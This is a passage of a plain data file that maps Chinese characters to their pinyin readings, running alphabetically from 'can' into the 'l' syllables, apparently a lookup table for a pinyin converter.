can;惭,can;惨,can;灿,can;骖,can;璨,can;粲,can;黪,can;苍,cang;舱,cang;仓,cang;沧,cang;藏,cang;伧,cang;操,cao;糙,cao;槽,cao;曹,cao;草,cao;艹,cao;嘈,cao;漕,cao;螬,cao;艚,cao;厕,ce;策,ce;侧,ce;册,ce;测,ce;刂,ce;帻,ce;恻,ce;层,ceng;蹭,ceng;噌,ceng;插,cha;叉,cha;茬,cha;茶,cha;查,cha;碴,cha;搽,cha;察,cha;岔,cha;差,cha;诧,cha;猹,cha;馇,cha;汊,cha;姹,cha;杈,cha;楂,cha;槎,cha;檫,cha;钗,cha;锸,cha;镲,cha;衩,cha;拆,chai;柴,chai;豺,chai;侪,chai;茈,chai;瘥,chai;虿,chai;龇,chai;搀,chan;掺,chan;蝉,chan;馋,chan;谗,chan;缠,chan;铲,chan;产,chan;阐,chan;颤,chan;冁,chan;谄,chan;谶,chan;蒇,chan;廛,chan;忏,chan;潺,chan;澶,chan;孱,chan;羼,chan;婵,chan;嬗,chan;骣,chan;觇,chan;禅,chan;镡,chan;裣,chan;蟾,chan;躔,chan;昌,chang;猖,chang;场,chang;尝,chang;常,chang;长,chang;偿,chang;肠,chang;厂,chang;敞,chang;畅,chang;唱,chang;倡,chang;伥,chang;鬯,chang;苌,chang;菖,chang;徜,chang;怅,chang;惝,chang;阊,chang;娼,chang;嫦,chang;昶,chang;氅,chang;鲳,chang;超,chao;抄,chao;钞,chao;朝,chao;嘲,chao;潮,chao;巢,chao;吵,chao;炒,chao;怊,chao;绉,chao;晁,chao;耖,chao;车,che;扯,che;撤,che;掣,che;彻,che;澈,che;坼,che;屮,che;砗,che;郴,chen;臣,chen;辰,chen;尘,chen;晨,chen;忱,chen;沉,chen;陈,chen;趁,chen;衬,chen;称,chen;谌,chen;抻,chen;嗔,chen;宸,chen;琛,chen;榇,chen;肜,chen;胂,chen;碜,chen;龀,chen;撑,cheng;城,cheng;橙,cheng;成,cheng;呈,cheng;乘,cheng;程,cheng;惩,cheng;澄,cheng;诚,cheng;承,cheng;逞,cheng;骋,cheng;秤,cheng;埕,cheng;嵊,cheng;徵,cheng;浈,cheng;枨,cheng;柽,cheng;樘,cheng;晟,cheng;塍,cheng;瞠,cheng;铖,cheng;裎,cheng;蛏,cheng;酲,cheng;吃,chi;痴,chi;持,chi;匙,chi;池,chi;迟,chi;弛,chi;驰,chi;耻,chi;齿,chi;侈,chi;尺,chi;赤,chi;翅,chi;斥,chi;炽,chi;傺,chi;墀,chi;芪,chi;茌,chi;搋,chi;叱,chi;哧,chi;啻,chi;嗤,chi;彳,chi;饬,chi;沲,chi;媸,chi;敕,chi;胝,chi;眙,chi;眵,chi;鸱,chi;瘛,chi;褫,chi;蚩,chi;螭,chi;笞,chi;篪,chi;豉,chi;踅,chi;踟,chi;魑,chi;充,chong;冲,chong;虫,chong;崇,chong;宠,chong;茺,chong;忡,chong;憧,chong;铳,chong;艟,chong;抽,chou;酬,chou;畴,chou;踌,chou;稠,chou;愁,chou;筹,chou;仇,chou;绸,chou;瞅,chou;丑,chou;俦,chou;圳,chou;帱,chou;惆,chou;溴,chou;妯,chou;瘳,chou;雠,chou;鲋,chou;臭,chu;初,chu;出,chu;橱,chu;厨,chu;躇,chu;锄,chu;雏,chu;滁,chu;除,chu;楚,chu;础,chu;储,chu;矗,chu;搐,chu;触,chu;处,chu;亍,chu;刍,chu;憷,chu;绌,chu;杵,chu;楮,chu;樗,chu;蜍,chu;蹰,chu;黜,chu;揣,chuan;川,chuan;穿,chuan;椽,chuan;传,chuan;船,chuan;喘,chuan;串,chuan;掾,chuan;舛,chuan;惴,chuan;遄,chuan;巛,chuan;氚,chuan;钏,chuan;镩,chuan;舡,chuan;疮,chuang;窗,chuang;幢,chuang;床,chuang;闯,chuang;创,chuang;怆,chuang;吹,chui;炊,chui;捶,chui;锤,chui;垂,chui;陲,chui;棰,chui;槌,chui;春,chun;椿,chun;醇,chun;唇,chun;淳,chun;纯,chun;蠢,chun;促,chun;莼,chun;沌,chun;肫,chun;朐,chun;鹑,chun;蝽,chun;戳,chuo;绰,chuo;蔟,chuo;辶,chuo;辍,chuo;镞,chuo;踔,chuo;龊,chuo;疵,ci;茨,ci;磁,ci;雌,ci;辞,ci;慈,ci;瓷,ci;词,ci;此,ci;刺,ci;赐,ci;次,ci;荠,ci;呲,ci;嵯,ci;鹚,ci;螅,ci;糍,ci;趑,ci;聪,cong;葱,cong;囱,cong;匆,cong;从,cong;丛,cong;偬,cong;苁,cong;淙,cong;骢,cong;琮,cong;璁,cong;枞,cong;凑,cu;粗,cu;醋,cu;簇,cu;猝,cu;殂,cu;蹙,cu;蹿,cuan;篡,cuan;窜,cuan;汆,cuan;撺,cuan;昕,cuan;爨,cuan;摧,cui;崔,cui;催,cui;脆,cui;瘁,cui;粹,cui;淬,cui;翠,cui;萃,cui;悴,cui;璀,cui;榱,cui;隹,cui;村,cun;存,cun;寸,cun;磋,cun;忖,cun;皴,cun;撮,cuo;搓,cuo;措,cuo;挫,cuo;错,cuo;厝,cuo;脞,cuo;锉,cuo;矬,cuo;痤,cuo;鹾,cuo;蹉,cuo;躜,cuo;搭,da;达,da;答,da;瘩,da;打,da;大,da;耷,da;哒,da;嗒,da;怛,da;妲,da;疸,da;褡,da;笪,da;靼,da;鞑,da;呆,dai;歹,dai;傣,dai;戴,dai;带,dai;殆,dai;代,dai;贷,dai;袋,dai;待,dai;逮,dai;怠,dai;埭,dai;甙,dai;呔,dai;岱,dai;迨,dai;逯,dai;骀,dai;绐,dai;玳,dai;黛,dai;耽,dan;担,dan;丹,dan;单,dan;郸,dan;掸,dan;胆,dan;旦,dan;氮,dan;但,dan;惮,dan;淡,dan;诞,dan;弹,dan;蛋,dan;亻,dan;儋,dan;卩,dan;萏,dan;啖,dan;澹,dan;檐,dan;殚,dan;赕,dan;眈,dan;瘅,dan;聃,dan;箪,dan;当,dang;挡,dang;党,dang;荡,dang;档,dang;谠,dang;凼,dang;菪,dang;宕,dang;砀,dang;铛,dang;裆,dang;刀,dao;捣,dao;蹈,dao;倒,dao;岛,dao;祷,dao;导,dao;到,dao;稻,dao;悼,dao;道,dao;盗,dao;叨,dao;啁,dao;忉,dao;洮,dao;氘,dao;焘,dao;忑,dao;纛,dao;德,de;得,de;的,de;锝,de;蹬,deng;灯,deng;登,deng;等,deng;瞪,deng;凳,deng;邓,deng;噔,deng;嶝,deng;戥,deng;磴,deng;镫,deng;簦,deng;堤,di;低,di;滴,di;迪,di;敌,di;笛,di;狄,di;涤,di;翟,di;嫡,di;抵,di;底,di;地,di;蒂,di;第,di;帝,di;弟,di;递,di;缔,di;氐,di;籴,di;诋,di;谛,di;邸,di;坻,di;莜,di;荻,di;嘀,di;娣,di;柢,di;棣,di;觌,di;砥,di;碲,di;睇,di;镝,di;羝,di;骶,di;颠,dian;掂,dian;滇,dian;碘,dian;点,dian;典,dian;靛,dian;垫,dian;电,dian;佃,dian;甸,dian;店,dian;惦,dian;奠,dian;淀,dian;殿,dian;丶,dian;阽,dian;坫,dian;埝,dian;巅,dian;玷,dian;癜,dian;癫,dian;簟,dian;踮,dian;碉,diao;叼,diao;雕,diao;凋,diao;刁,diao;掉,diao;吊,diao;钓,diao;调,diao;轺,diao;铞,diao;蜩,diao;粜,diao;貂,diao;跌,die;爹,die;碟,die;蝶,die;迭,die;谍,die;叠,die;佚,die;垤,die;堞,die;揲,die;喋,die;渫,die;轶,die;牒,die;瓞,die;褶,die;耋,die;蹀,die;鲽,die;鳎,die;丁,ding;盯,ding;叮,ding;钉,ding;顶,ding;鼎,ding;锭,ding;定,ding;订,ding;丢,ding;仃,ding;啶,ding;玎,ding;腚,ding;碇,ding;町,ding;铤,ding;疔,ding;耵,ding;酊,ding;东,dong;冬,dong;董,dong;懂,dong;动,dong;栋,dong;侗,dong;恫,dong;冻,dong;洞,dong;垌,dong;咚,dong;岽,dong;峒,dong;夂,dong;氡,dong;胨,dong;胴,dong;硐,dong;鸫,dong;兜,dou;抖,dou;斗,dou;陡,dou;豆,dou;逗,dou;痘,dou;蔸,dou;钭,dou;窦,dou;窬,dou;蚪,dou;篼,dou;酡,dou;都,du;督,du;毒,du;犊,du;独,du;读,du;堵,du;睹,du;赌,du;杜,du;镀,du;肚,du;度,du;渡,du;妒,du;芏,du;嘟,du;渎,du;椟,du;橐,du;牍,du;蠹,du;笃,du;髑,du;黩,du;端,duan;短,duan;锻,duan;段,duan;断,duan;缎,duan;彖,duan;椴,duan;煅,duan;簖,duan;堆,dui;兑,dui;队,dui;对,dui;怼,dui;憝,dui;碓,dui;墩,dun;吨,dun;蹲,dun;敦,dun;顿,dun;囤,dun;钝,dun;盾,dun;遁,dun;炖,dun;砘,dun;礅,dun;盹,dun;镦,dun;趸,dun;掇,duo;哆,duo;多,duo;夺,duo;垛,duo;躲,duo;朵,duo;跺,duo;舵,duo;剁,duo;惰,duo;堕,duo;咄,duo;哚,duo;缍,duo;柁,duo;铎,duo;裰,duo;踱,duo;蛾,e;峨,e;鹅,e;俄,e;额,e;讹,e;娥,e;恶,e;厄,e;扼,e;遏,e;鄂,e;饿,e;噩,e;谔,e;垩,e;垭,e;苊,e;莪,e;萼,e;呃,e;愕,e;屙,e;婀,e;轭,e;曷,e;腭,e;硪,e;锇,e;锷,e;鹗,e;颚,e;鳄,e;恩,en;蒽,en;摁,en;唔,en;嗯,en;而,er;儿,er;耳,er;尔,er;饵,er;洱,er;二,er;贰,er;迩,er;珥,er;铒,er;鸸,er;鲕,er;发,fa;罚,fa;筏,fa;伐,fa;乏,fa;阀,fa;法,fa;珐,fa;垡,fa;砝,fa;藩,fan;帆,fan;番,fan;翻,fan;樊,fan;矾,fan;钒,fan;繁,fan;凡,fan;烦,fan;反,fan;返,fan;范,fan;贩,fan;犯,fan;饭,fan;泛,fan;蘩,fan;幡,fan;犭,fan;梵,fan;攵,fan;燔,fan;畈,fan;蹯,fan;坊,fang;芳,fang;方,fang;肪,fang;房,fang;防,fang;妨,fang;仿,fang;访,fang;纺,fang;放,fang;匚,fang;邡,fang;彷,fang;钫,fang;舫,fang;鲂,fang;菲,fei;非,fei;啡,fei;飞,fei;肥,fei;匪,fei;诽,fei;吠,fei;肺,fei;废,fei;沸,fei;费,fei;芾,fei;狒,fei;悱,fei;淝,fei;妃,fei;绋,fei;绯,fei;榧,fei;腓,fei;斐,fei;扉,fei;祓,fei;砩,fei;镄,fei;痱,fei;蜚,fei;篚,fei;翡,fei;霏,fei;鲱,fei;芬,fen;酚,fen;吩,fen;氛,fen;分,fen;纷,fen;坟,fen;焚,fen;汾,fen;粉,fen;奋,fen;份,fen;忿,fen;愤,fen;粪,fen;偾,fen;瀵,fen;棼,fen;愍,fen;鲼,fen;鼢,fen;丰,feng;封,feng;枫,feng;蜂,feng;峰,feng;锋,feng;风,feng;疯,feng;烽,feng;逢,feng;冯,feng;缝,feng;讽,feng;奉,feng;凤,feng;俸,feng;酆,feng;葑,feng;沣,feng;砜,feng;佛,fu;否,fu;夫,fu;敷,fu;肤,fu;孵,fu;扶,fu;拂,fu;辐,fu;幅,fu;氟,fu;符,fu;伏,fu;俘,fu;服,fu;浮,fu;涪,fu;福,fu;袱,fu;弗,fu;甫,fu;抚,fu;辅,fu;俯,fu;釜,fu;斧,fu;脯,fu;腑,fu;府,fu;腐,fu;赴,fu;副,fu;覆,fu;赋,fu;复,fu;傅,fu;付,fu;阜,fu;父,fu;腹,fu;负,fu;富,fu;讣,fu;附,fu;妇,fu;缚,fu;咐,fu;匐,fu;凫,fu;郛,fu;芙,fu;苻,fu;茯,fu;莩,fu;菔,fu;呋,fu;幞,fu;滏,fu;艴,fu;孚,fu;驸,fu;绂,fu;桴,fu;赙,fu;黻,fu;黼,fu;罘,fu;稃,fu;馥,fu;虍,fu;蚨,fu;蜉,fu;蝠,fu;蝮,fu;麸,fu;趺,fu;跗,fu;鳆,fu;噶,ga;嘎,ga;蛤,ga;尬,ga;呷,ga;尕,ga;尜,ga;旮,ga;钆,ga;该,gai;改,gai;概,gai;钙,gai;盖,gai;溉,gai;丐,gai;陔,gai;垓,gai;戤,gai;赅,gai;胲,gai;干,gan;甘,gan;杆,gan;柑,gan;竿,gan;肝,gan;赶,gan;感,gan;秆,gan;敢,gan;赣,gan;坩,gan;苷,gan;尴,gan;擀,gan;泔,gan;淦,gan;澉,gan;绀,gan;橄,gan;旰,gan;矸,gan;疳,gan;酐,gan;冈,gang;刚,gang;钢,gang;缸,gang;肛,gang;纲,gang;岗,gang;港,gang;戆,gang;罡,gang;颃,gang;筻,gang;杠,gong;工,gong;攻,gong;功,gong;恭,gong;龚,gong;供,gong;躬,gong;公,gong;宫,gong;弓,gong;巩,gong;汞,gong;拱,gong;贡,gong;共,gong;蕻,gong;廾,gong;咣,gong;珙,gong;肱,gong;蚣,gong;蛩,gong;觥,gong;篙,gao;皋,gao;高,gao;膏,gao;羔,gao;糕,gao;搞,gao;镐,gao;稿,gao;告,gao;睾,gao;诰,gao;郜,gao;蒿,gao;藁,gao;缟,gao;槔,gao;槁,gao;杲,gao;锆,gao;哥,ge;歌,ge;搁,ge;戈,ge;鸽,ge;胳,ge;疙,ge;割,ge;革,ge;葛,ge;格,ge;阁,ge;隔,ge;铬,ge;个,ge;各,ge;鬲,ge;仡,ge;哿,ge;塥,ge;嗝,ge;纥,ge;搿,ge;膈,ge;硌,ge;铪,ge;镉,ge;袼,ge;颌,ge;虼,ge;舸,ge;骼,ge;髂,ge;给,gei;根,gen;跟,gen;亘,gen;茛,gen;哏,gen;艮,gen;耕,geng;更,geng;庚,geng;羹,geng;埂,geng;耿,geng;梗,geng;哽,geng;赓,geng;鲠,geng;钩,gou;勾,gou;沟,gou;苟,gou;狗,gou;垢,gou;构,gou;购,gou;够,gou;佝,gou;诟,gou;岣,gou;遘,gou;媾,gou;缑,gou;觏,gou;彀,gou;鸲,gou;笱,gou;篝,gou;鞲,gou;辜,gu;菇,gu;咕,gu;箍,gu;估,gu;沽,gu;孤,gu;姑,gu;鼓,gu;古,gu;蛊,gu;骨,gu;谷,gu;股,gu;故,gu;顾,gu;固,gu;雇,gu;嘏,gu;诂,gu;菰,gu;哌,gu;崮,gu;汩,gu;梏,gu;轱,gu;牯,gu;牿,gu;胍,gu;臌,gu;毂,gu;瞽,gu;罟,gu;钴,gu;锢,gu;瓠,gu;鸪,gu;鹄,gu;痼,gu;蛄,gu;酤,gu;觚,gu;鲴,gu;骰,gu;鹘,gu;刮,gua;瓜,gua;剐,gua;寡,gua;挂,gua;褂,gua;卦,gua;诖,gua;呱,gua;栝,gua;鸹,gua;乖,guai;拐,guai;怪,guai;哙,guai;棺,guan;关,guan;官,guan;冠,guan;观,guan;管,guan;馆,guan;罐,guan;惯,guan;灌,guan;贯,guan;倌,guan;莞,guan;掼,guan;涫,guan;盥,guan;鹳,guan;鳏,guan;光,guang;广,guang;逛,guang;犷,guang;桄,guang;胱,guang;疒,guang;瑰,gui;规,gui;圭,gui;硅,gui;归,gui;龟,gui;闺,gui;轨,gui;鬼,gui;诡,gui;癸,gui;桂,gui;柜,gui;跪,gui;贵,gui;刽,gui;匦,gui;刿,gui;庋,gui;宄,gui;妫,gui;桧,gui;炅,gui;晷,gui;皈,gui;簋,gui;鲑,gui;鳜,gui;辊,gun;滚,gun;棍,gun;丨,gun;衮,gun;绲,gun;磙,gun;鲧,gun;锅,guo;郭,guo;国,guo;果,guo;裹,guo;过,guo;馘,guo;蠃,guo;埚,guo;掴,guo;呙,guo;囗,guo;帼,guo;崞,guo;猓,guo;椁,guo;虢,guo;锞,guo;聒,guo;蜮,guo;蜾,guo;蝈,guo;哈,ha;骸,hai;孩,hai;海,hai;氦,hai;亥,hai;害,hai;骇,hai;咴,hai;嗨,hai;颏,hai;醢,hai;酣,han;憨,han;邯,han;韩,han;含,han;涵,han;寒,han;函,han;喊,han;罕,han;翰,han;撼,han;捍,han;旱,han;憾,han;悍,han;焊,han;汗,han;汉,han;邗,han;菡,han;撖,han;阚,han;瀚,han;晗,han;焓,han;颔,han;蚶,han;鼾,han;夯,hen;痕,hen;很,hen;狠,hen;恨,hen;杭,hang;航,hang;沆,hang;绗,hang;珩,hang;桁,hang;壕,hao;嚎,hao;豪,hao;毫,hao;郝,hao;好,hao;耗,hao;号,hao;浩,hao;薅,hao;嗥,hao;嚆,hao;濠,hao;灏,hao;昊,hao;皓,hao;颢,hao;蚝,hao;呵,he;喝,he;荷,he;菏,he;核,he;禾,he;和,he;何,he;合,he;盒,he;貉,he;阂,he;河,he;涸,he;赫,he;褐,he;鹤,he;贺,he;诃,he;劾,he;壑,he;藿,he;嗑,he;嗬,he;阖,he;盍,he;蚵,he;翮,he;嘿,hei;黑,hei;哼,heng;亨,heng;横,heng;衡,heng;恒,heng;訇,heng;蘅,heng;轰,hong;哄,hong;烘,hong;虹,hong;鸿,hong;洪,hong;宏,hong;弘,hong;红,hong;黉,hong;讧,hong;荭,hong;薨,hong;闳,hong;泓,hong;喉,hou;侯,hou;猴,hou;吼,hou;厚,hou;候,hou;后,hou;堠,hou;後,hou;逅,hou;瘊,hou;篌,hou;糇,hou;鲎,hou;骺,hou;呼,hu;乎,hu;忽,hu;瑚,hu;壶,hu;葫,hu;胡,hu;蝴,hu;狐,hu;糊,hu;湖,hu;弧,hu;虎,hu;唬,hu;护,hu;互,hu;沪,hu;户,hu;冱,hu;唿,hu;囫,hu;岵,hu;猢,hu;怙,hu;惚,hu;浒,hu;滹,hu;琥,hu;槲,hu;轷,hu;觳,hu;烀,hu;煳,hu;戽,hu;扈,hu;祜,hu;鹕,hu;鹱,hu;笏,hu;醐,hu;斛,hu;花,hua;哗,hua;华,hua;猾,hua;滑,hua;画,hua;划,hua;化,hua;话,hua;劐,hua;浍,hua;骅,hua;桦,hua;铧,hua;稞,hua;槐,huai;徊,huai;怀,huai;淮,huai;坏,huai;还,huai;踝,huai;欢,huan;环,huan;桓,huan;缓,huan;换,huan;患,huan;唤,huan;痪,huan;豢,huan;焕,huan;涣,huan;宦,huan;幻,huan;郇,huan;奂,huan;垸,huan;擐,huan;圜,huan;洹,huan;浣,huan;漶,huan;寰,huan;逭,huan;缳,huan;锾,huan;鲩,huan;鬟,huan;荒,huang;慌,huang;黄,huang;磺,huang;蝗,huang;簧,huang;皇,huang;凰,huang;惶,huang;煌,huang;晃,huang;幌,huang;恍,huang;谎,huang;隍,huang;徨,huang;湟,huang;潢,huang;遑,huang;璜,huang;肓,huang;癀,huang;蟥,huang;篁,huang;鳇,huang;灰,hui;挥,hui;辉,hui;徽,hui;恢,hui;蛔,hui;回,hui;毁,hui;悔,hui;慧,hui;卉,hui;惠,hui;晦,hui;贿,hui;秽,hui;会,hui;烩,hui;汇,hui;讳,hui;诲,hui;绘,hui;诙,hui;茴,hui;荟,hui;蕙,hui;哕,hui;喙,hui;隳,hui;洄,hui;彗,hui;缋,hui;珲,hui;晖,hui;恚,hui;虺,hui;蟪,hui;麾,hui;荤,hun;昏,hun;婚,hun;魂,hun;浑,hun;混,hun;诨,hun;馄,hun;阍,hun;溷,hun;缗,hun;豁,huo;活,huo;伙,huo;火,huo;获,huo;或,huo;惑,huo;霍,huo;货,huo;祸,huo;攉,huo;嚯,huo;夥,huo;钬,huo;锪,huo;镬,huo;耠,huo;蠖,huo;击,ji;圾,ji;基,ji;机,ji;畸,ji;稽,ji;积,ji;箕,ji;肌,ji;饥,ji;迹,ji;激,ji;讥,ji;鸡,ji;姬,ji;绩,ji;缉,ji;吉,ji;极,ji;棘,ji;辑,ji;籍,ji;集,ji;及,ji;急,ji;疾,ji;汲,ji;即,ji;嫉,ji;级,ji;挤,ji;几,ji;脊,ji;己,ji;蓟,ji;技,ji;冀,ji;季,ji;伎,ji;祭,ji;剂,ji;悸,ji;济,ji;寄,ji;寂,ji;计,ji;记,ji;既,ji;忌,ji;际,ji;妓,ji;继,ji;纪,ji;居,ji;丌,ji;乩,ji;剞,ji;佶,ji;佴,ji;脔,ji;墼,ji;芨,ji;芰,ji;萁,ji;蒺,ji;蕺,ji;掎,ji;叽,ji;咭,ji;哜,ji;唧,ji;岌,ji;嵴,ji;洎,ji;彐,ji;屐,ji;骥,ji;畿,ji;玑,ji;楫,ji;殛,ji;戟,ji;戢,ji;赍,ji;觊,ji;犄,ji;齑,ji;矶,ji;羁,ji;嵇,ji;稷,ji;瘠,ji;瘵,ji;虮,ji;笈,ji;笄,ji;暨,ji;跻,ji;跽,ji;霁,ji;鲚,ji;鲫,ji;髻,ji;麂,ji;嘉,jia;枷,jia;夹,jia;佳,jia;家,jia;加,jia;荚,jia;颊,jia;贾,jia;甲,jia;钾,jia;假,jia;稼,jia;价,jia;架,jia;驾,jia;嫁,jia;伽,jia;郏,jia;拮,jia;岬,jia;浃,jia;迦,jia;珈,jia;戛,jia;胛,jia;恝,jia;铗,jia;镓,jia;痂,jia;蛱,jia;笳,jia;袈,jia;跏,jia;歼,jian;监,jian;坚,jian;尖,jian;笺,jian;间,jian;煎,jian;兼,jian;肩,jian;艰,jian;奸,jian;缄,jian;茧,jian;检,jian;柬,jian;碱,jian;硷,jian;拣,jian;捡,jian;简,jian;俭,jian;剪,jian;减,jian;荐,jian;槛,jian;鉴,jian;践,jian;贱,jian;见,jian;键,jian;箭,jian;件,jian;健,jian;舰,jian;剑,jian;饯,jian;渐,jian;溅,jian;涧,jian;建,jian;僭,jian;谏,jian;谫,jian;菅,jian;蒹,jian;搛,jian;囝,jian;湔,jian;蹇,jian;謇,jian;缣,jian;枧,jian;柙,jian;楗,jian;戋,jian;戬,jian;牮,jian;犍,jian;毽,jian;腱,jian;睑,jian;锏,jian;鹣,jian;裥,jian;笕,jian;箴,jian;翦,jian;趼,jian;踺,jian;鲣,jian;鞯,jian;僵,jiang;姜,jiang;将,jiang;浆,jiang;江,jiang;疆,jiang;蒋,jiang;桨,jiang;奖,jiang;讲,jiang;匠,jiang;酱,jiang;降,jiang;茳,jiang;洚,jiang;绛,jiang;缰,jiang;犟,jiang;礓,jiang;耩,jiang;糨,jiang;豇,jiang;蕉,jiao;椒,jiao;礁,jiao;焦,jiao;胶,jiao;交,jiao;郊,jiao;浇,jiao;骄,jiao;娇,jiao;嚼,jiao;搅,jiao;铰,jiao;矫,jiao;侥,jiao;脚,jiao;狡,jiao;角,jiao;饺,jiao;缴,jiao;绞,jiao;剿,jiao;教,jiao;酵,jiao;轿,jiao;较,jiao;叫,jiao;佼,jiao;僬,jiao;茭,jiao;挢,jiao;噍,jiao;峤,jiao;徼,jiao;姣,jiao;纟,jiao;敫,jiao;皎,jiao;鹪,jiao;蛟,jiao;醮,jiao;跤,jiao;鲛,jiao;窖,jie;揭,jie;接,jie;皆,jie;秸,jie;街,jie;阶,jie;截,jie;劫,jie;节,jie;桔,jie;杰,jie;捷,jie;睫,jie;竭,jie;洁,jie;结,jie;解,jie;姐,jie;戒,jie;藉,jie;芥,jie;界,jie;借,jie;介,jie;疥,jie;诫,jie;届,jie;偈,jie;讦,jie;诘,jie;喈,jie;嗟,jie;獬,jie;婕,jie;孑,jie;桀,jie;獒,jie;碣,jie;锴,jie;疖,jie;袷,jie;颉,jie;蚧,jie;羯,jie;鲒,jie;骱,jie;髫,jie;巾,jin;筋,jin;斤,jin;金,jin;今,jin;津,jin;襟,jin;紧,jin;锦,jin;仅,jin;谨,jin;进,jin;靳,jin;晋,jin;禁,jin;近,jin;烬,jin;浸,jin;尽,jin;卺,jin;荩,jin;堇,jin;噤,jin;馑,jin;廑,jin;妗,jin;缙,jin;瑾,jin;槿,jin;赆,jin;觐,jin;钅,jin;锓,jin;衿,jin;矜,jin;劲,jing;荆,jing;兢,jing;茎,jing;睛,jing;晶,jing;鲸,jing;京,jing;惊,jing;精,jing;粳,jing;经,jing;井,jing;警,jing;景,jing;颈,jing;静,jing;境,jing;敬,jing;镜,jing;径,jing;痉,jing;靖,jing;竟,jing;竞,jing;净,jing;刭,jing;儆,jing;阱,jing;菁,jing;獍,jing;憬,jing;泾,jing;迳,jing;弪,jing;婧,jing;肼,jing;胫,jing;腈,jing;旌,jing;炯,jiong;窘,jiong;冂,jiong;迥,jiong;扃,jiong;揪,jiu;究,jiu;纠,jiu;玖,jiu;韭,jiu;久,jiu;灸,jiu;九,jiu;酒,jiu;厩,jiu;救,jiu;旧,jiu;臼,jiu;舅,jiu;咎,jiu;就,jiu;疚,jiu;僦,jiu;啾,jiu;阄,jiu;柩,jiu;桕,jiu;鹫,jiu;赳,jiu;鬏,jiu;鞠,ju;拘,ju;狙,ju;疽,ju;驹,ju;菊,ju;局,ju;咀,ju;矩,ju;举,ju;沮,ju;聚,ju;拒,ju;据,ju;巨,ju;具,ju;距,ju;踞,ju;锯,ju;俱,ju;句,ju;惧,ju;炬,ju;剧,ju;倨,ju;讵,ju;苣,ju;苴,ju;莒,ju;掬,ju;遽,ju;屦,ju;琚,ju;枸,ju;椐,ju;榘,ju;榉,ju;橘,ju;犋,ju;飓,ju;钜,ju;锔,ju;窭,ju;裾,ju;趄,ju;醵,ju;踽,ju;龃,ju;雎,ju;鞫,ju;捐,juan;鹃,juan;娟,juan;倦,juan;眷,juan;卷,juan;绢,juan;鄄,juan;狷,juan;涓,juan;桊,juan;蠲,juan;锩,juan;镌,juan;隽,juan;撅,jue;攫,jue;抉,jue;掘,jue;倔,jue;爵,jue;觉,jue;决,jue;诀,jue;绝,jue;厥,jue;劂,jue;谲,jue;矍,jue;蕨,jue;噘,jue;崛,jue;獗,jue;孓,jue;珏,jue;桷,jue;橛,jue;爝,jue;镢,jue;蹶,jue;觖,jue;均,jun;菌,jun;钧,jun;军,jun;君,jun;峻,jun;俊,jun;竣,jun;浚,jun;郡,jun;骏,jun;捃,jun;狻,jun;皲,jun;筠,jun;麇,jun;喀,ka;咖,ka;卡,ka;佧,ka;咔,ka;胩,ka;咯,ke;坷,ke;苛,ke;柯,ke;棵,ke;磕,ke;颗,ke;科,ke;壳,ke;咳,ke;可,ke;渴,ke;克,ke;刻,ke;客,ke;课,ke;岢,ke;恪,ke;溘,ke;骒,ke;缂,ke;珂,ke;轲,ke;氪,ke;瞌,ke;钶,ke;疴,ke;窠,ke;蝌,ke;髁,ke;开,kai;揩,kai;楷,kai;凯,kai;慨,kai;剀,kai;垲,kai;蒈,kai;忾,kai;恺,kai;铠,kai;锎,kai;刊,kan;堪,kan;勘,kan;坎,kan;砍,kan;看,kan;侃,kan;凵,kan;莰,kan;莶,kan;戡,kan;龛,kan;瞰,kan;康,kang;慷,kang;糠,kang;扛,kang;抗,kang;亢,kang;炕,kang;坑,kang;伉,kang;闶,kang;钪,kang;考,kao;拷,kao;烤,kao;靠,kao;尻,kao;栲,kao;犒,kao;铐,kao;肯,ken;啃,ken;垦,ken;恳,ken;垠,ken;裉,ken;颀,ken;吭,keng;忐,keng;铿,keng;空,kong;恐,kong;孔,kong;控,kong;倥,kong;崆,kong;箜,kong;抠,kou;口,kou;扣,kou;寇,kou;芤,kou;蔻,kou;叩,kou;眍,kou;筘,kou;枯,ku;哭,ku;窟,ku;苦,ku;酷,ku;库,ku;裤,ku;刳,ku;堀,ku;喾,ku;绔,ku;骷,ku;夸,kua;垮,kua;挎,kua;跨,kua;胯,kua;侉,kua;块,kuai;筷,kuai;侩,kuai;快,kuai;蒯,kuai;郐,kuai;蒉,kuai;狯,kuai;脍,kuai;宽,kuan;款,kuan;髋,kuan;匡,kuang;筐,kuang;狂,kuang;框,kuang;矿,kuang;眶,kuang;旷,kuang;况,kuang;诓,kuang;诳,kuang;邝,kuang;圹,kuang;夼,kuang;哐,kuang;纩,kuang;贶,kuang;亏,kui;盔,kui;岿,kui;窥,kui;葵,kui;奎,kui;魁,kui;傀,kui;馈,kui;愧,kui;溃,kui;馗,kui;匮,kui;夔,kui;隗,kui;揆,kui;喹,kui;喟,kui;悝,kui;愦,kui;阕,kui;逵,kui;暌,kui;睽,kui;聩,kui;蝰,kui;篑,kui;臾,kui;跬,kui;坤,kun;昆,kun;捆,kun;困,kun;悃,kun;阃,kun;琨,kun;锟,kun;醌,kun;鲲,kun;髡,kun;括,kuo;扩,kuo;廓,kuo;阔,kuo;蛞,kuo;垃,la;拉,la;喇,la;蜡,la;腊,la;辣,la;啦,la;剌,la;摺,la;邋,la;旯,la;砬,la;瘌,la;莱,lai;来,lai;赖,lai;崃,lai;徕,lai;涞,lai;濑,lai;赉,lai;睐,lai;铼,lai;癞,lai;籁,lai;蓝,lan;婪,lan;栏,lan;拦,lan;篮,lan;阑,lan;兰,lan;澜,lan;谰,lan;揽,lan;览,lan;懒,lan;缆,lan;烂,lan;滥,lan;啉,lan;岚,lan;懔,lan;漤,lan;榄,lan;斓,lan;罱,lan;镧,lan;褴,lan;琅,lang;榔,lang;狼,lang;廊,lang;郎,lang;朗,lang;浪,lang;莨,lang;蒗,lang;啷,lang;阆,lang;锒,lang;稂,lang;螂,lang;捞,lao;劳,lao;牢,lao;老,lao;佬,lao;姥,lao;酪,lao;烙,lao;涝,lao;唠,lao;崂,lao;栳,lao;铑,lao;铹,lao;痨,lao;醪,lao;勒,le;乐,le;肋,le;仂,le;叻,le;嘞,le;泐,le;鳓,le;雷,lei;镭,lei;蕾,lei;磊,lei;累,lei;儡,lei;垒,lei;擂,lei;类,lei;泪,lei;羸,lei;诔,lei;荽,lei;咧,lei;漯,lei;嫘,lei;缧,lei;檑,lei;耒,lei;酹,lei;棱,ling;冷,ling;拎,ling;玲,ling;菱,ling;零,ling;龄,ling;铃,ling;伶,ling;羚,ling;凌,ling;灵,ling;陵,ling;岭,ling;领,ling;另,ling;令,ling;酃,ling;塄,ling;苓,ling;呤,ling;囹,ling;泠,ling;绫,ling;柃,ling;棂,ling;瓴,ling;聆,ling;蛉,ling;翎,ling;鲮,ling;楞,l